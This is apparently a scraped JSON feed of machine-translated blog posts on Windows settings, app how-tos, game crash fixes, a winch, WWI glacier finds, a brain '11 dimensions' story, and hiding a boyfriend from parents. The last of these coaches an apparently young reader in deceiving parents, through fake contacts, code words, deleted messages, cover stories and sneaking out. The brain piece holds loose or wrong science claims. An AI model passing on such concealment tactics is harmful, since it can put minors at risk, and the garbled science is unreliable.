Hide because the program works independently of the browser\n These two statements are wrong\n   David Pac Update 24 May 2019\nncG1vNJzZmismaXArq3KnmWcp51krm6%2FxK1kqJ5dn663rdKcqaKopGK6trjToqelnZOdvKqvxGaorp2jqbawutJmn5qrXaWAbq3NrK6eqqM%3D\n","link":"/post/a-set-of-javascript-multiple-choice-questions-has-p3-answers/","section":"post","tags":null,"title":"A set of JavaScript multiple-choice questions has P3 answers"},{"body":"Starting with Windows 8, Microsoft introduced the Settings application with a modern interface to replace the Control Panel at some point. In the 6 years of Windows 10's existence, Microsoft has been slowly replacing Control Panel functions with Settings. A large-scale, radical replacement campaign did not happen because Settings did not have all the necessary features.\n  On Windows 11, the Control Panel still exists and is even equipped with a new interface by Microsoft. Users still need the Control Panel for some advanced settings on Windows 11. However, Microsoft has also added some new features to attract more users to care and use Settings.\nNetwork settings For example, Windows 11's Settings allows you to manage network adapters without accessing the Control Panel. To change the network adapter settings, you need to open Settings \u0026gt; Network \u0026amp; Internet \u0026gt; Advanced network settings.\n  As you can see in the screenshot, you can enable/disable the network connection in the \"Network apdapters\" section. Previously, you could only access this feature in the Control Panel.\n  In the near future, the new operating system will automatically redirect you to the Settings app whenever possible.\nStorage settings Windows 11 also redesigned the storage settings for users to make more efficient use of their available storage space. The latest feature is a layout improvement that makes it easier to detect old, junk or unused files and free up storage space quickly.\n  In the advanced section, there is a new feature called Disks and volumes. As the name suggests, it is a drive management tool with a new interface and better accessibility.\n  Microsoft promises to provide more design improvements for modern drive management utilities in the future.\nBattery settings Windows 11 has a new battery settings page that uses graphs to show you more detail about your device's battery and power usage. You can view the apps that are consuming the most battery over time points like the last 7 days.\n  As you can see in the image below, Windows 11 Settings can provide you with weekly and 24-hour battery usage breakdown. These graphs are similar to Android or iOS battery managers and they can help users understand how their battery is being used.\n  If you want to control the power usage configuration, you still need to access the Control Panel.\nIn the near future, Settings on Windows 11 will also have some new features to replace Control Panel. However, Microsoft understands that many users feel attached to the Control Panel and the modern Settings application is still incomplete. Therefore, Microsoft will not abruptly remove the Control Panel but slowly move its old settings to the new Settings application.\nWindows 11 Control Panel ncG1vNJzZmismaXArq3KnmWcp51ksLC606umpWWglrumuIyhmKxlkWK7psOMoqWtnaKbrqSxjKilZq%2BZo7Gww9JmaGplkZe8tsCMraZmmpVisLC5z6WcrZ2crnqzsc%2BlmJydlGKvunnSnqutoZ6cwA%3D%3D\n","link":"/post/control-panel-has-a-new-interface-on-windows-11-about-to-be-completely-replaced-by-settings/","section":"post","tags":null,"title":"Control Panel has a new interface on Windows 11, about to be completely replaced by Settings"},{"body":"And even the human brain can be operated on 11 dimensions.\nThe human brain is a complex multi-scale structure in which molecules, cells and neurons coexist. It can be modeled as a multi-layered network, called a brain connection pool. Neighboring neurons are connected to form local structures, and different local structures form connections to perform cognitive functions.\nThe human brain is estimated to have about 86 billion neurons. To decipher where consciousness comes from, the researchers used a Swiss supercomputer and used algebraic topology to build a detailed model of the cerebral cortex.\nThrough testing the response of the mathematical model to virtual stimuli and examining the reality of the mouse brain, the researchers were able to determine the details of the neural network on a single neuron. and the entire brain structure. At the same time it was discovered that there are different types of high-powered activity in the brain consisting of a three-dimensional geometric structure - tightly connected clusters of neurons and existing regions. space (cavity) between them.\n  These empty regions appear to be important for brain function. When the researchers applied the stimuli to their virtual brain tissue, they found that the neurons responded to the stimulus in a highly organized manner. This means that as we think about problems, clusters of neurons will gradually coalesce into higher-dimensional structures, forming holes or voids of height.\nThe more neurons in the clusters, the higher the size of the gap, and the highest limit achievable is 11 dimensions. The whole process always follows the order from low to high, the structure will become more and more complicated and eventually collapse. It's like building a castle on the beach, the castle gets taller and taller and eventually it will collapse on its own.\n  This is exactly the same as the large-scale filamentous structure of the universe, where galaxies and galaxy clusters form a giant filamentous structure with a giant hole in the middle. In a recent study, it was discovered that our Milky Way galaxy lies within a giant hole one billion light-years across.\nThis study provides new discoveries about how the brain processes information. Scientists speculate that high-dimensional gaps in neuronal structures may be where the brain stores memories, but it's unclear how these blocks and gaps are formed. How it works, so further studies are needed to determine the connection between the multidimensional structure of neurons and complex consciousness.\nThe interaction between the human brain and the universe is completely different, but there have been many observations and conjectures about the similarity between neural networks and cosmic networks under observation from a microscope and telescope.\nThe researchers quantitatively analyzed the similarity between the two factors based on optical microscopy observations of brain tissue and high-resolution cosmic-matter network imaging, with the help of the method. network analysis.\nFirst, there is a huge difference in scale between the brain network and the cosmic network, which is similar only on a specific scale. Brain neural networks are now thought to consist of tens of billions of neurons. The number of galaxies currently observed in the cosmic lattice exceeds 100 billion.\nIn addition, in the neural network of the brain and the network of the universe, only a small amount of matter constitutes the network. There are a large number of massive intergalactic holes, and about 70% of the mass is made up of dark matter.\nIn the human brain too, which is a biological organ, the most important component is water, in the human brain, nerve cells account for only 25% and about 75% is water. Up to this point, \"having water in your head\" has a certain scientific basis.\nIn the universe, high-density galaxy clusters prevail, while in the human brain, specifically in neural networks, nerve fibers will create small uniform patterns. However, when the researchers increased the magnification of the microscope, they were able to see some similarities to the cosmic web in brain slices.\nNerve cells Human brain ncG1vNJzZmismaXArq3KnmWcp51ksaavyKmfnqqZo7RuwMeeZKaxo6mys8WMqJ1mm5%2BjwKS1zq6qp52jqHq1tMRmn66lkaN6o77AoqVmm5Gjeri70aRkoqZdZn5usMimnKermaS7tA%3D%3D\n","link":"/post/deciphering-the-mystery-of-consciousness-the-human-brain-can-work-in-11-dimensions/","section":"post","tags":null,"title":"Deciphering the mystery of consciousness, the human brain can work in 11 dimensions"},{"body":"In what has been considered the most horrific result of global warming to date, a glacier in the Northern Alps of Italy is melting, revealing the bodies of soldiers killed in battle. World War I. After nearly a century, perfectly preserved frozen bodies lying dormant in the ice have returned to tell the most epic war in history - the \"White War\".\nIn May 1915, 10 months after World War I, Italy agreed to join the Allies. Italy, eager to expand its borders, decided to wage war with Austria in order to annex the Trentino mountains and southern Tirol. This conflict resulted in what we know as the \"White War\": a deadlock during four long, cold years between Italy's Alpini mountain army and its Austrian counterpart. their army is the Kaiserschutzen army. The war took place in high mountains, with special weapons and facilities such as moat and cable transportation. Normally, the two sides will use firepower to try to cause avalanches on the other's barracks to create a \"white death\" that claimed thousands of lives.\nToday, during decades of global warming, the Presena glacier in the old war is gradually melting, revealing the remnants of the White War. Notably among them are carefully preserved artifacts that flow along the melting glaciers from the early 1990s: a love letter from 1918 that never came to a girl named Maria; some verses for old friends, scribbled in the diary; a picture of a sleeping woman signed in Czech, \"Your abandoned wife\".\nAfter almost a century, the bodies remain the same. Because of the cold, bodies appearing from below the ice were nearly intact, still in their previous clothes. Last September, two Austrians emerged from the ice, aged 17 and 18, with blue eyes and blonde hair, with bullet holes in their skulls.\n Franco Nicolis from the local archaeological heritage office told the Telegraph: \" The first thing I think about is their mothers; the soldiers show up from the ice just like when they were submerged, mothers who have probably will never know the fate of his children \".\nLocal authorities have worked hard for years to uncover the ruins of this forgotten war. In 2004, Maurizio Vicenzi, a local guide and head of the Peio war museum, discovered the upside-down bodies of three soldiers at an ice wall at 3,657 meters - the victim of one of the most fierce front lines in history. This was followed by a series of other findings. In a rare discovery, the team discovered an obscure ice tunnel. After using the large exhaust fans to melt the ice, the inside gradually showed up a huge wooden structure that was used as a ammunition and supplies carrier.\nMost of the bodies discovered were transferred to the office of Daniel Gaudio, an anthropologist forensic mission tasked with tracking down the identities of war victims. Although in most cases he is able to extract DNA, the ability to find the corpses' identities is rare because of the lack of contextual information, which is essential to determine the location of the bodies. families of war victims.\nSo far, more than 80 bodies have been found from glaciers, and there will certainly be more. According to historian Mark Thompson, author of the White War, only Italy had more than 750,000 soldiers died in the war. Next summer, archaeological teams will continue their search for what is left of the ice and the bodies will surely be found when climate change is sure to continue and help accelerate. thawing.\nFor now, winter is still present. Not far from the location of the bodies of the first soldiers discovered was Peio - a ski resort, where the citizens of Italy, Austria, Germany and Russia once again enjoyed the alpine atmosphere, of course. in peace!\nReference: Motherboard\nncG1vNJzZmismaXArq3KnmWcp51ktK27wZqjZq%2BRp7qqusZmoKxlpJ2uuLXNoGScp6KlwKa%2FjJ%2BpqKVdqbWmecWiqaysXay8s7jDZq6aqg%3D%3D\n","link":"/post/global-warming-is-thawing-corpses-from-the-first-world-war/","section":"post","tags":null,"title":"Global warming is thawing ... corpses from the First World War"},{"body":" This wikiHow teaches you how to reassign your keyboard buttons and select a different function for any button on your keyboard, using Windows. Open your internet browser. You can use any web browser, such as Firefox, Opera, or Chrome.\nSteps  Open your internet browser. You can use any web browser, such as Firefox, Opera, or Chrome.\n  Go to https://github.com/randyrants/sharpkeys/releases in your browser. SharpKeys is an open-source software that allows you to reassign your keyboard buttons on Windows.\n  Click and download sharpkeys36.zip. This is a zipped folder containing the SharpKeys software.\n  Open the sharpkeys36.zip folder on your computer. You need WinZip, WinRAR or some other unzipping software on your computer to open it.   Double-click SharpKeys.exe. This will open the SharpKeys software. You can find it in the sharpkeys36.zip folder. When you see the welcome message in a pop-up window, click the Accept button.   Click the Add button. This button is in the lower-left corner of the SharpKeys window. It will allow you to add a new keyboard button configuration.\n  Select the key you want to change on the left column. This is the \"Map this key (From key)\" column. For example, if you want to change your keyboard's Caps Lock button to Space, find and select Caps Lock on the left list.   Select the new function you want to assign on the right column. This is the \"To this key (To key)\" column. For example, if you're changing your Caps Lock button to Space, find and select Space on the right list.   Click the OK button. This will save your new button configuration.\n  Click Write to Registry. This button is in the lower-right corner of the SharpKeys window. It will apply your new button configuration. If you're prompted to confirm, click OK.   Restart your computer. Your new button configuration may not take effect until you restart your computer.\n  Lesley Montoya Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqZo7Fut8SyqmannmLEqrrDqK6s\n","link":"/post/how-to-bind-keys-on-windows/","section":"post","tags":null,"title":"How to Bind Keys on Windows"},{"body":"  Open the Messenger app on your iPhone or iPad. The Messenger app has a dialogue bubble icon with a lightning bolt inside.\nIf Messenger doesn't automatically sign in on your device, you'll need to enter your email address or phone number and password.\n  Click on the small house-shaped Home icon in the lower left corner of the screen.\nIf Messenger opens a conversation, press the back button to return to the Home screen.\n  Click the Groups tab . This button is located below the search bar (Search) in the upper right corner of the screen. A list of all group conversations will appear.\n  Tap the group you want to delete. The conversation will open in full screen mode.\n  Tap the group name at the top of the conversation. The \"Group\" page will open.\n  Scroll down and tap a group member. The \"Group\" page will list all members in this chat group. Tap a member to see options for this contact.\n  Click Remove From Group . This option is displayed in red and is located at the bottom of the screen. You will have to confirm the action in the pop-up window.\n  Click Remove to confirm. This member will be removed from the chat group.\n  Delete all remaining members of the group. If you want to delete a conversation, you must be the only one left in the group.\nIf you leave the group without removing all members, the conversation will continue without you.\n  Click Leave Group . This option is shown in red at the bottom of the \"Group\" page. You will have to confirm the action in the pop-up window.\n  Click Leave to confirm. The chat group will automatically be removed from the list of conversations.\nThe conversation history is still saved in the Archived Threads folder. You can access and delete archived chats on Messenger web version.\nOn Android   Open the Messenger app on your Android device. Messenger has a white lightning bolt icon on the dialogue bubble and is in the Apps list.\nIf Messenger doesn't automatically sign in on your device, you'll need to enter your email address or phone number and password.\n  Click on the small house-shaped Home icon in the lower left corner of the screen.\nIf Messenger opens a conversation, press the back button to return to the Home screen.\n  Click the Groups tab . This button is located below the search bar in the upper-right corner of the screen. A grid list of all group conversations will appear.\n  Tap the group you want to delete. The conversation will open in full screen mode.\n  Tap the info icon. This option has an \"i\" (short for info) in a circle in the upper right corner of the conversation. The \"Group Details\" page will appear.\n  Tap the three vertical dots icon next to the group member's name. A drop-down menu will open.\n  Click Remove from group in the drop-down menu. This contact will be removed from the group chat.\n  Delete all remaining members of the group. If you want to delete a conversation, you must be the only one left in the group.\nIf you leave the group without removing all members, the conversation will continue without you.\n  Click the three vertical dots icon in the upper right corner of the \"Group Details\" page. A menu with grouping options will drop down.\n  Click Leave group in the drop-down menu. The chat group will automatically be removed from the list of conversations.\nThe conversation history is still saved in the Archived Threads folder. You can access and delete archived chats on Messenger web version.\nBy Messenger website   Open the Messenger application on your computer's web browser. Type www.messenger.com in your browser's address bar and then press ↵ Enter on your keyboard.\nIf Messenger doesn't automatically sign in on your device, you'll need to enter your email address or phone number and password.\n  Click the group to delete in the left pane. A list of all groups and individual chats will appear on the left side of the browser window. Find and click the group you want to delete.\nYou can also use the Search Messenger bar in the upper left corner to find if you remember the group name, member name or content in the chat.\n  Click the info icon. This option has an \"i\" in a circle in the upper right corner of the chat group. The group details will open on the right side of the screen.\n  Click the three vertical dots icon next to the group member's name. This button will appear next to a member when you hover over their name. A drop-down menu will open.\n  Click Remove from Group in the drop-down menu. You will have to confirm the action in the pop-up window.\n  Click Remove to confirm. This red button is in the lower right corner of the pop-up window. This contact will be removed from the group chat.\n  Delete all remaining members of the group. If you want to delete a conversation, you must be the only one left in the group.\nIf you leave the group without removing all members, the conversation will continue without you.\n  Click the gear icon in the right pane. This option is located below the info button in the upper-right corner of the screen. A menu with grouping options will drop down.\n  Click Delete in the drop-down menu. You will have to confirm the action in the pop-up window.\n  Click Delete to confirm. This red button is in the lower right corner of the pop-up window. The chat group will disappear from the chat list, and the conversation history will also be permanently deleted.\nFacebook Messenger ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYyaZKCqn6q9brvNZp2am5WXvLC3jKacrKuVo7Smvg%3D%3D\n","link":"/post/how-to-delete-a-group-on-facebook-messenger/","section":"post","tags":null,"title":"How to Delete a Group on Facebook Messenger"},{"body":"Treyarch and Activision have received criticism from the COD community as players have been consistently experiencing bugs since the release of the Alpha version of Call of Duty Black Ops Cold War. These problems include Call of Duty Black Ops Cold crashes, server disconnections, fatal errors and more.\nLately, Black Ops Cold players on PC are being plagued by a new game crash that not only ruined their in-game experience, but also frustrated them. If you have a Call of Duty: Black Ops Cold War error while playing a PC game, there are a few solutions you can try. Remember that the game can still crash for many players even if they have applied these measures. At that point, all you need to do is wait for the fix to be released.\nFixed Call of Duty Black Ops Cold War crashes, hangs 1. Check game configuration of Call of Duty Black Ops Cold War The first thing you need to do is to check if your computer meets the configuration requirements to play Call of Duty Black Ops Cold War or not.\n* Minimum configuration to play Call of Duty Black Ops Cold War\n- OS: Windows 7 64-Bit (SP1) or Windows 10 64-Bit (1803 or higher). CPU: Intel Core i5 2500k or AMD equivalent. - GPU: Nvidia GeForce GTX 670 2GB / GTX 1650 4GB or AMD Radeon HD 7950. - RAM: 8GB. - Free memory: 45GB. * Recommended configuration to play Call of Duty Black Ops Cold War\nFor the best possible gaming experience, your computer must meet the following recommended system requirements:\n- OS: Windows 10 64 Bit (Latest Service Pack). CPU: Intel Core i7 4770k or AMD equivalent. - GPU: Nvidia GeForce GTX 970 4GB / GTX 1660 Super 6GB or AMD Radeon R9 390 / AMD RX 580. - RAM: 16GB. - Free memory: 45GB. If your computer meets the system requirements of Call of Duty: Black Ops Cold War but the game still crashes, try the fixes presented below.\n2. Run Call of Duty: Black Ops Cold War in DirectX 11 mode Many advanced effects are only enabled by DirectX 11. Running the game in DirectX 11 mode can help you boost performance. You can follow the steps below to do this:\nStep 1: Open Battle.net launcher . In the GAMES section , you click on Call of Duty: BOCW.\n  Step 2: Next, click Options and select Game Settings.\n  Step 3: In the Black Ops Cold War section , check the Additional command line arguments option. Then enter -d3d11 to force the game to run in DirectX 11. This will help your CPU or GPU catch up and make the game run smoothly.\n  3. Update the graphics driver Using outdated drivers can affect performance. Therefore, you should check for regular driver updates. If you play Call of Duty Black Ops Cold War on your PC, the most important driver you need to update is the graphics driver. If it is outdated or not optimized, you will experience performance problems or COD Black Ops Cold War hangs during the game experience.\nThere are 2 ways to update the graphics driver:\nManual: You will need some technology skill and patience to update the driver this way because you need to find the correct driver online, download it and install it step by step. - Automatic (recommended): This is the fastest and easiest way. The process is completed in just a few mouse clicks.\n* Manually update the graphics driver\nYou need to go to NVIDIA or AMD website to find the driver corresponding to your Windows version and download it manually. Once you've downloaded the correct driver for your system, double-click the downloaded file and follow the on-screen instructions to install.\n* Update graphics driver automatically\nStep 1: You enter device manager in the search box on the taskbar and select Device Manager from the results. Step 2: Double click on Display adapters and right click on your graphics driver, choose Update Driver.\n  In addition, you can also use some software to update drivers automatically such as Intel Drivers Update Utility, Driver Booster or DriverIdentifier.\n4. Update Windows It's a good idea to update Windows to the latest version possible, as each update brings new features with bug fixes.\nStep 1: Type check for updates in the taskbar search field and click on Check for updates from the results. Step 2. Click the Check for updates button to see if any updates are available. If updates are available, they will be downloaded and installed automatically.\n  5. Edit the game files Repairing game files is a recommended troubleshooting step that you should take when encountering errors like crashes. It can help you verify if the integrity of the game files is intact. Otherwise, it will recover any missing or corrupt files. Here's how you can do this:\nStep 1: Open Battle.net launcher . In the GAMES section , you click on Call of Duty: BOCW.\n  Step 2: Click Options\u0026gt; Scan and Repair . Once the process completes, click on Check for Updates.\n  6. Disable V-Sync V-Sync is the graphics technology responsible for synchronizing the game's frame rate with the monitor's refresh rate. But when V-sync is enabled, the games run into one problem - lack of input responsiveness. In this scenario, the problem may occur. So you should disable it.\n  7. Change game play area If you have tried all of the above fixes but still have the problem, then the next solution you should try is to change the gaming area. Most likely the problem will be fixed. Because for the most part, it happens because some particular server is too crowded. Here's how you can change the gaming area in the Blizzard Battle.net desktop app:\nStep 1: Open Battle.net launcher . In the GAMES section , you click on Call of Duty: BOCW.\n  Step 2: In the VERSION / REGION section , click on the earth icon and choose one of the areas from the list.\n  8. Change the display language to English Setting your Windows display language to English is quite important when playing Black Ops Cold War. You check the display language as follows:\nStep 1: In the search box on the taskbar, type language and select Language settings from the list of results. Step 2: In the Windows display language section , make sure that your Windows display language is set to English (United States) or English (United Kingdom). This is especially important if you are using a Nordic language as it can cause errors while playing the game.\n  Above are some measures to fix Fatal Error Issues Call of Duty Black Ops Cold War. Hopefully with these fixes, the error will be completely resolved and you can experience the game as usual.\nCall of Duty ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqnrdOao2adoqe8s3nIrKqunaNisKK4y2amn2WUqsG6ecGlmJyjXaS9tHnCqKOdZaeWvw%3D%3D\n","link":"/post/how-to-fix-fatal-error-issues-call-of-duty-black-ops-cold-war/","section":"post","tags":null,"title":"How to fix Fatal Error Issues Call of Duty Black Ops Cold War"},{"body":" You have a boyfriend, but you don't want your parents to know. Maybe they don't approve of your specific boyfriend; maybe they just don't want you to be dating, period. Either way, you'll need to decide how many risks you want to take. It...\nMethod 1of 5:\nKeeping Him Secret  Weigh the risk of standing up to your parents against the risk of being caught. Try to understand where your parents are coming from. If you are trying to be sneaky because your boyfriend is significantly older, abusive in any way, or could have any other negative effects on your well-being: reflect on the reason why you're trying to keep him from your parents. Decide if it is really worth it. If your boyfriend is a genuinely good guy, then your parents might be acting unreasonably.[1] Is your boyfriend a bad influence, or involved in gangs/drugs, or very controlling or cruel to others? Your parents may just be concerned about you spending time with someone that they don't trust. Consider any religious or cultural differences that might be driving your parents' decision. It may not be fair of them to impose their beliefs and values onto you, but it may be hard to go completely against the grain until you're supporting yourself.   Don't tell anyone that you don't trust. People love to talk about other people, and news may travel quickly through your school, church, or community. Be very careful who you tell, and make sure that they understand the gravity of the situation. If your friends tell their parents, then their parents might tell your parents. If your friends tell their friends, their friends might tell their parents, who might in turn tell your parents. Don't underestimate the power of gossip! Tell your friends that your boyfriend is a secret. Ask them explicitly not to tell anyone, and make it very clear that you're serious.   Make good excuses. Avoid lying. Just tell the truth about things that don't relate to your boyfriend. If your parents ask you what you did at school today, and you were ditching P.E. to be with your boyfriend: you still don't have to lie. Don't mention P.E., and tell them what you did in science, history, and math.\n  Don't act suspicious around your parents. If you act strangely or differently than you usually do, they might begin to suspect that you're hiding something. Try to keep a level head, and don't let anything slip. If your parents keep a close eye on your activity, they might notice when you start acting different.[2] If you're texting constantly, talking on the phone more often than before, or spending a lot of time on social media, your parents might start to wonder who you're always talking to. Be more discreet, or be ready with a good excuse! If you're staying out late at night, or even coming home late from school, your parents might notice.  Method 2of 5:\nCommunicating Discreetly  Be careful when you talk on the phone. Call your boyfriend by a nickname, when you're on the phone, maybe even a girl's name so that your parents don't suspect who you're talking to. Save that nickname in your contacts; don't use his real name or photo, in case your parents decide to snoop through your phone. Don't use the name of a friend that your parents know; ideally, pick someone that doesn't have a phone. Do this in case (for instance) you leave your phone in the dining room and you get a call from your boyfriend. Instead of your parents seeing \"Blake Grant\" they'll see, say, \"Bella Grey.\" If your parents are in the same room as you, try to keep a blank expression on your face so they don't catch on that you're talking to your boyfriend. Make them think you're talking to a regular friend. If you video chat him, make sure you do it when your parents aren't around. They may see you virtually kissing him.   Consider making a fake/private email account. This is only important if your parents are monitoring your email, or if you think they might be able to get access. If you email your boyfriend a lot, make sure you message him with a fake account so then your parents don't find out about your conversations. If they find out, you could be in trouble, especially if you're messaging things like 'I love you!'\n  Speak in code. Establish secret code words or phrases that only you and him know. This way, you might even be able to talk to him on the phone right in front of your parents without them knowing. This goes for call, text, or email, depending on how closely your parents are watching your communication. For example, slipping the word \"hungry\" into your conversation might mean that you want to meet your boyfriend to get food. The word \"homework\" might mean that you can't get out to meet him tonight. Try devising a numerical code that signifies when you plan to meet your boyfriend. For example, pretend that you're talking to your friend about your math homework. Use the \"problem number\" to tell your boyfriend that you want to meet at a certain time. If you want to meet up at 10 pm, say, \"Did you do the math homework yet? I'm having trouble with problem number 10.\"   Consider asking your boyfriend to make fake social media profiles. This way, if your parents check out your web history, they won't see his true name or photo. It may help if he creates an entirely new online identity. If not, ask him to abbreviate his name on Facebook (or use his middle name in place of his last name) so that he at least somewhat hides his identity.\n  Delete your messages. If your parents check your phone or computer often, delete your messages in 5-10 minute intervals. Don't only delete conversations between you and your significant other, but between you and everyone. If you don't have many conversations, it won't be as suspicious. If your parents ask why you're deleting conversations, just say that you're trying to conserve memory. Tell them that you have a lot of photos, apps, or music, and you're trying to free up space by deleting unnecessary chat records. Got a message that you really want to keep? Screenshot it and back it up elsewhere: a computer, a flash drive, or even a private album of pictures on Facebook.  Method 3of 5:\nMeeting Up With Him  Be careful about when and where you meet. If possible, meet where you won't be recognized. You don't want your parents, your relatives, community leaders, or your parents' friends to see you while you're out with your boyfriend. Meet when your parents think you're somewhere else, you could pretend to have a club meeting, or to be hanging out with a friend. You might even sneak out of the house at night. If you live in a city, you could meet almost anywhere: a big city park, a free museum, a scenic hill, or a little cafe in your favorite neighborhood. The same goes for the suburbs, although it might be harder to get around if you and your boyfriend don't have your own cars. If you live in a rural area, you might need to meet up outdoors. Don't hang out with your boyfriend in the park across the street from your house, or the local supermarket, or anywhere that your parents or their friends might run into you.   Consider going out in groups. When you go out with your boyfriend, your parents will probably want to know where you are. It may be best to bring a friend or two with you when you go out. That way, when they call you, you can just say \"Oh, I'm with Amy,\" and then put Amy on the phone with them to verify that indeed, you are with her and not your boyfriend!\n  Say you're sleeping over at a friend's house. This is a classic move, but you'll need to be very careful about your story to pull off. The basic idea: if you want to meet up with your boyfriend after hours or even stay over at his house, tell your parents that you are sleeping over at a friend's house. If your parents insist on meeting your friends, then you should use a good friend (who your parents have met) to corroborate your story. Tell your friend about your plan. If possible if you are completely certain that you can trust your friend's parents have your friend's parents agree to pretend that you're sleeping over. It helps if you name a friend whose house you've slept over at many times before. If your parents are suspicious, they might call your friend's parents to check out your story. Consider whether this is likely to happen. If so, then you may not want to risk it.   Be very careful about inviting your boyfriend over to your house. Understand the risks: if you bring your boyfriend into your parents' space, then you are giving them a huge opportunity to find out about him. Wait for a time when they aren't home, a whole weekend is even better. If you sneak your boyfriend into your house while your parents are home, make sure that he has a secret way to enter and escape. Try to bring him in once your parents are asleep, and be extremely quiet so that they don't suspect anything. Keep the noise level down so you can listen for your parents voices or footsteps in case they're walking toward your room. Be prepared to hide him under the bed or in a closet at a moment's notice, or have him leave through the window if possible! Don't leave any evidence that your boyfriend was there. Your parents will get suspicious if they see a men's comb or a men's jacket. If he gives you a gift (a note, a photo, a bouquet of flowers) don't leave it out in the open!  Method 4of 5:\nPretending That He's Just a Friend  Normalize having guy friends over. Have girl friends over, too. Emphasize to your parents that these boys are just friends. The more regular and neutral these visits, the better to warm your parents up to the idea of external male figures in your life.\n  Tell them he's just a friend. As weird as it may sound, band your boyfriend with the rest at first. If you've played it cool enough, your parents won't suspect a thing.\n  Make him familiar to your parents as a friend. After a while, your parents will probably loosen up and become used to having him around. This way when (and if) you choose to introduce him to them as your boyfriend, they won't be as disapproving. They will know him and have seen you interact, and they will know that it is a healthy relationship. Never close the door to your room. That just calls for your parents to get suspicious. Have a very open and casual \"friendship\" with him in front of your family so that they are not uncomfortable or second-guessing anything.   Consider when and whether it's time to tell your parents. Once they are friendly with him and are used to having him around, you may choose to tell them about him or continue with how you're going. Whether they like him or not generally plays a large role in that.[3]\n Method 5of 5:\nTelling Your Parents  Think about why you haven't told them. Try to understand the underlying communication issues between you and your parents. Perhaps you don't want to tell your parents that you're dating someone of the same gender, or someone from a different ethnic or religious background, or someone significantly older than you. Maybe your parents have forbidden you from having a boyfriend, period. Give yourself a clear picture of the situation so that you can decide how to move forward. The longer you date this guy, the more likely your parents will be to find out. Your life will be much easier if you don't have to sneak around. Consider whether your parents would be okay with it. Perhaps you're projecting your own worries onto them. If you aren't sure, ask a trustworthy sibling or relative for advice.   Prove the stability of your relationship. Your parents might be suspicious of any new guy who comes into your life, but this may just be because they care. Don't tell your parents the moment that you start dating this guy. Give it at least a few weeks (or months) before you break the news, and try to\n  Introduce your boyfriend as a friend, first. If your parents learn to trust him, they may be less hesitant to say \"no\". Consider that your parents may have forbidden you from dating based on the abstract idea of a boyfriend a new and potentially-threatening male presence in your life, but that they might be a bit more lenient if the male presence is a friendly face. This can be a great way to \"hide\" your boyfriend in plain sight. You will need to be especially careful, however, not to let your parents interacting with him in a romantic way. Try to bring him around in groups, and don't be too affectionate.   Make sure that it's safe for you to tell them. Weigh the consequences of such a conversation. If your parents wouldn't react well (would disown you, forbid you from seeing your boyfriend, etc.), then it may be safer to wait. If you don't feel comfortable telling your parents, consider asking a teacher, a relative, or a community member to sit in as a moderator.\n  Marvin Fry Update 28 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCZmbJuxc6uqWaan66zs7XEp5tmnqKkum7Fzq6pZqiRp7KvwNI%3D\n","link":"/post/how-to-hide-your-boyfriend-from-your-parents/","section":"post","tags":null,"title":"How to Hide Your Boyfriend from Your Parents"},{"body":"When you upgrade Viber to the latest version of the computer, we can change the display name and change the avatar quickly. Compared to the past, the user's account will have to be customized in the Viber version on the phone, from the display name to the avatar.\nHowever, with this new version of Viber for PC, you don't need to do it on your phone, but you can change it directly on your computer with a very simple way. The feature to change and upgrade the new Viber version on this computer will help users more convenient during use.\nDownload Viber for computers How to change the Viber display name on the computer Step 1:\nYou log in to your personal Viber account on your computer. Then click the 3 dots icon as shown below.\n  Step 2:\nNext you will see the current display name with the phone number. Click on the word Edit to edit the display name.\n  Enter a new name for the account and then click Done to save and use this new name.\n  How to convert avatars, avatar Viber PC photos Step 1:\nTo change your avatar of Viber PC account, you also click on the 3 dots icon . Then hover your mouse on the current avatar to bring up the camera icon , click on it to change your avatar.\n  Step 2:\nThe Move and Scale dialog box appears. Users click Select New to select a new avatar. Then, navigate to the computer photo store to upload to Viber as your avatar.\n  Step 3:\nOnce you have selected the account image you want to change, we move, stretch or shrink a white square frame to select the image partition you want to cut as the image displayed on Viber. If you want to use another image, click the trash can icon to delete the image.\nFinally, click Done to save the new avatar for your Viber account.\n  Thus the image displayed with the Viber account name has been changed right on the computer, with extremely simple steps. We will not need to open Viber on the phone to make change work quite time consuming as before.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVo66usYycn5qml5p6urvUq2SarpGprrN5zqdkr6GSmr9ur86mp66slac%3D\n","link":"/post/how-to-rename-change-your-avatar-on-viber-computer/","section":"post","tags":null,"title":"How to rename, change your avatar on Viber computer"},{"body":"Off-road driving with your vehicle can be exhilarating, but sometimes you might find yourself stuck on some rocks or in a pit of mud. Fortunately, if you have a winch mounted on your vehicle, you shouldn't have any problem getting yourself...\nPart 2of 3:\nPulling Your Vehicle Out  Make sure everyone's cleared the area. It's important that no one is standing behind or in front of your vehicle. No one should be standing near the winch cable. Always double check before you start pulling with the winch. People could be seriously injured if they're in the way.[11]\n  Get in the driver's seat of your vehicle. Grab the winch remote control from the front seat and hold it in your hand. Remain in the vehicle the whole time you're using the winch.[12]\n  Winch the vehicle slowly using the remote control. Don't try to pull your vehicle out quickly. You want to work slow and steady. Press the button on the remote control to start pulling your car out. You should feel your vehicle moving forward as it's pulled out from whatever it's stuck in. Release the button every few seconds and then resume winching; this will keep you from going too fast.[13] While you're pulling your vehicle out with the winch, gently press the gas pedal to help move your vehicle forward.   Stop winching once your vehicle is on stable ground. You'll know you're on stable ground once your vehicle is flat and you're able to drive it forward without the help of the winch. With your finger off the winch remote control button, gently press the gas pedal to see if you're able to drive forward.\n Part 3of 3:\nUnrigging the Winch  Unhook the winch cable from the D-shackle. Leave the D-shackle hooked to the tree trunk protector for now. You'll come back and get those after you take care of the winch cable.\n  Use the remote control to slowly rewind the winch cable. Hold the end of the winch cable in your hand and walk it back in toward the winch as you're rewinding the cable. Don't let the winch cable slide through your hands as you're rewinding it.[14]\n  Unplug the winch remote control from the winch. Wrap up the cord attached to the remote control. Store the remote control in a dry place in your vehicle.[15]\n  Retrieve the D-shackle and tree trunk protector from the anchor. Remove the pin from the D-shackle and slide the shackle off the loops on the protector. Reinsert the pin in the D-shackle so you don't lose it. Store the D-shackle and tree trunk protector in your vehicle.[16]\n  Marvin Fry Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqiedaipZyg\n","link":"/post/how-to-use-a-winch/","section":"post","tags":null,"title":"How to Use a 